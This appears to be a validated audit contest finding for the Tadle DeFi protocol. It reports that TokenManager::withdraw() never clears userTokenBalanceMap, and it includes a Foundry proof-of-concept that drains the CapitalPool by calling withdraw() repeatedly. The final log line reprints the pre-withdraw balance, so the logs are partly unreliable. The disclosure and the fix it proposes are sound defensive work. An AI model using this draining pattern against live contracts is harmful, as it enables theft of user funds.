Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

User can drain the CapitalPool contract.

itsabinashb

Summary

Due to not deducting the claimed amount from userTokenBalanceMap mapping after withdrawing an user can drain the vault by calling the TokenManager::withdraw() multiple times.

Vulnerability Details

In TokenManager::withdraw() the claimable amount is fetched using a mapping of TokenManagerStorage contract.

/// @dev user token balance can be claimed by user.
/// @dev userTokenBalanceMap[accountAddress][tokenAddress][tokenBalanceType]
mapping(address => mapping(address => mapping(TokenBalanceType => uint256)))
public userTokenBalanceMap;

However after transferring the token the mapping is not updated i.e the transferred amount is not deducted from that mapping, as a result any one can call the withdraw() multiple time and drain all the funds.
To show this in POC just assume CapitalPool contract has a balance of 0.036000000000000000 USDC, keeping the balance that low so that I can hust prove the bug.
Run this test in PreMarkets.t.sol:

function test_withdraw() public {
deal(address(mockUSDCToken), address(capitalPool), 36000000000000000);
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), 36000000000000000);
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
address stockAddr = GenerateAddress.generateStockAddress(0);
preMarktes.closeOffer(stockAddr, offerAddr);
uint userRefundAmount = tokenManager.userTokenBalanceMap(
address(user),
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
console2.log("refund amount: ", userRefundAmount);
uint balanceBeforeWithdraw = mockUSDCToken.balanceOf(user);
console2.log("USDC balance before withdraw: ", balanceBeforeWithdraw);
console2.log(
"capitalPool balance before withdraw: ", mockUSDCToken.balanceOf(address(capitalPool))
);
for(uint i; i < 4; i++){
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
}
console2.log(
"capitalPool balance at the end: ", mockUSDCToken.balanceOf(address(capitalPool))
);
console2.log("USDC balance after withdraw: ", balanceBeforeWithdraw);
}
​

Logs:

refund amount: 12000000000000000
USDC balance before withdraw: 99999999988000000000000000
capitalPool balance before withdraw: 48000000000000000
capitalPool balance at the end: 0
USDC balance after withdraw: 99999999988000000000000000

Impact

User can drain the CapitalPool contract by calling withdraw() multiple times.

Tool Used

Manual review, Foundry

Recommendation

Deduct the claimed amount from the userTokenBalanceMap after transferring tokens.

Related Links

  1. https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137-L189

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.